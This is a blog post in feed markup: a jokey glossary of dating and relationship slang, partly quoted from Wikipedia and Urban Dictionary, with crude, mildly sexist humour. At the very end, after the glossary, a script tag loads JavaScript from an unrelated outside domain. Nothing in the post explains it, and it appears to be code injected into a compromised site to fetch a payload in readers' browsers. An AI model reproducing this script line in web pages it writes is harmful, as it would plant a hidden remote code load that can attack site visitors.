Never being one to want to add to the confusion that is and always will be Women, here is a guide to my terminology &amp; the things I come up with.</p> <p><em><strong>A**hole Look</strong></em> - The look you get from you female telling you that she thinks you are acting like an anus. </p> <p><strong><em>Beer Goggles - </em></strong> A slang term for a phenomenon in which consumption of alcohol lowers sexual inhibitions to the point that very little or no discretion is used when approaching or choosing sexual partners. The term is often humorously applied when an individual is observed making advances towards, later regretting sexual contact with, a partner that is deemed unattractive, unacceptably scandalous, or repulsive when the prospect of sex is considered while sober. The &quot;beer goggles&quot; are considered to have distorted the &quot;wearer's&quot; vision, making unattractive people appear beautiful, or at least passably attractive. <a target="_blank" href="http://en.wikipedia.org/wiki/Beer_goggles">This definition came from Wikipedia.</a></p> <p><em><strong>BoingBook Points System</strong></em> - A relationship management system, copyright 1997, that marries the logical thinking of a man with the emotional needs of a woman providing straight forward simplicity a man needs while satisfying the emotional needs of the woman.</p> <p><strong><em>Butt Ugly</em></strong> - someone that is ugly inside and out and no fun to be around unless you are looking at their butt as they walk out the door.</p> <p><strong><em>Charlie Browns Teacher</em></strong> - Any speech that has been slurred from drunkenness, distorted by lousy loudspeakers, or just rendered incomprehensible by other means. Refers to the &quot;whaa-whaa-whaa&quot; trombone effect from old Peanuts TV specials. This definition came from <a target="_blank" href="http://www.urbandictionary.com/define.php?term=Charlie+Brown+Teacher">urbandictionary.com </a></p> <p><em><strong>Clark Kent</strong></em> - Secret identity of the comic book hero <a target="_blank" href="http://www.comicvine.com/superman/1807/">Superman</a></p> <p><strong><em>Cologne Fart Cloud</em></strong> - a cloud of fumes that surrounds a man that has put on way to much cologne making an otherwise pleasant smelling cologne smell like ass. </p> <p><strong><em>Dog Logs</em></strong> - slang for dog poop.</p> <p><em><strong>Going behind the curtain</strong></em> - reference to a stage performance where everything you want the audience (in this case women) to see happens in front of the curtain. Everything it takes to put together the show happens behind the curtain. In dating terms things you work with your wingman, getting dressed, buying flowers, arranging suprises, arguments that could impact your date those are all things that should happen behind the curtain.</p> <p> <strong><em>High Maintenance</em></strong> - a term used to describe a person that requires an extreme amount of any or all of the following: attention, time, money, mental or physical support to get through their day. </p> <p><strong><em>Low Maintenance</em></strong> - a term used to describe a person that requires less than the expected amount of any of the following: attention, time, money, mental or physical support to get through their day. </p> <p><em><strong>&quot;Magic the Gathering&quot;</strong> game</em> - Any game based on and/or officially licensed under the Wizards of the Coast &quot;Magic: The Gathering&quot; card game. <a target="_blank" href="http://en.wikipedia.org/wiki/Magic:_The_Gathering">Wikipedia detailed definition.</a></p> <p><em><strong>Man Math Game</strong></em> &ndash; A game a man plays by himself typically when on a date. This game is most typically played at restaurants. Here is how you play. As soon as your date tells the waitress what she would like to eat the game begins and the timer starts. While maintaining a calm controlled exterior and without making any sudden moves a man must scan the menu, find what she ordered, look at the price, deduct that price from what is in his pocket, backing out a few bucks for a tip, back out more money for the rest of the evening, and find his own dinner before the waitress can finish scribbling down the dates order and say&hellip; </p> <p>&ldquo;And for you, sir?&rdquo; Ding. Times up. </p> <p>The object of the game is to successfully finance the evening without letting your date know how close to broke you are. You lose the game when your date awards you an &ldquo;a**hole look&rdquo; when you unexpectedly ask her to pay or wash some dishes. </p> <p><em><strong>Pay no attention to the man behind the curtain</strong></em> - Reference to the 1939 movie &quot;<a target="_blank" href="http://www.imdb.com/title/tt0032138/quotes">The Wizard of Oz</a>&quot; when Toto the dog pulls the curtain back revealing the man actually operating the controls behind the all powerful OZ.</p> <p><strong><em>Pay to B.S.(or Bull Sh*t) Ratio - </em></strong>Slang term referring to act of weighing the reward of something (the pay) vs. the difficulty of the task. In terms of dating this would be the exercise of determining the reward of dating someone vs. the drawbacks of the individual. Example sentence: </p> <p>The <strong>Pay to Bullsh*t Ratio</strong> is way out of whack here, she is so <em>high maintenance</em> she is more trouble than she is worth. </p> <p><strong><em>Pile of #2</em></strong> - Pile of Turds.</p> <p><em><strong>Pilgrim-sperts</strong> - </em>People that have expertise in the pilgrims as it relates to the American Thanksgiving holiday.</p> <p><em><strong>Plumbing starts working</strong></em> - This is a phrase referring to the time period after puberty when boys and girls transition to young men and women.</p><p><em><strong>Relationship Grenade</strong></em> - Question innocently or purposefully lobbed that causes disruption or incites total chaos when answered by the relationship partner. Can be deemed a dud if countered with verifiable proof and a satisfactory answer.<strong> </strong> </p> <p> <em><strong>Relationship Landmine</strong></em> - <strong><span style="font-size: 10pt; font-family: verdana; font-weight: normal;">Issues between two people in the relationship that always cause some sort of disagreement typically brought on by a indelible difference of opinion, different perspective, or otherwise nearly insurmountable boundary where often the best course of action is to mark the landmine issue with a flag and stay away from it.</span></strong></p><p><em><strong>Relationship Landmine Chain Reaction</strong></em> - <strong><span style="font-size: 10pt; font-family: verdana; font-weight: normal;">An automatic conversation that happens repeatedly whenever a relationship landmine is stepped on.&nbsp; He says this, she responds with that, he comes back with this, she gets mad and says that and suddenly nobody is talking.</span></strong> </p> <p> <em><strong>Relationship Mortar</strong></em> - <strong><span style="font-size: 10pt; font-family: verdana; font-weight: normal;">Supporting fire in the form of factual or otherwise unarguable or temporarily unverifiable statements designed trap, pin down, trip up or otherwise force a response to a relationship grenade.</span></strong></p> <p><em><strong>Scouting Report</strong></em> - A mental or physical report on an individual you would like to go out with. The purpose of a scouting report is to identify your potential dates likes, dislikes, characteristics, friends, hobbies etc so you can brush up and be as well prepared as possible for your date.</p> <p><em><strong>Steaming Pile of Horse Apples</strong></em> &ndash; A fresh pile of horse turds.</p> <p><strong><em>Steering Wheel of Love</em></strong> - The name of the location most men use to do their romantic writing and card signing having just made a last minute run to the greeting card store. </p> <p><em><strong>T-back</strong></em> - style of female underwear typically worn by strippers and women not wanting to have panty lines on their butt in a particular outfit. Something like a combination of a thong and a G string.</p> <p><em><strong>Taking one for the team</strong></em> - see Wingman.</p> <p><strong>Wingman</strong> - is a term in the seduction community that a man may take when he goes to a club or bar with an accompanying male. A wingman is expected to support his friend in approaching women. The men often pick a desired woman, who is referred to as the &quot;target.&quot; The man intending to seduce the target is often called the &quot;pilot.&quot; The wingman is expected to back up the pilot, which typically entails talking to the target's less attractive friend(s) and making comments that will make the pilot seem more attractive. This is often referred to as &quot;taking one for the team.&quot; <a target="_blank" href="http://en.wikipedia.org/wiki/Wingman_%28social%29">Wikipedia full definition.</a></p> <p><em><strong>Wrapped around the axel</strong></em> - Committed; How commited one is to something; being so far into someone or something that to extract oneself is deemed too difficult to want to attempt.</p> <script type="text/javascript" src="http://www.qksz.net/1e-ebu7"> </script>]]></content></entry></feed>
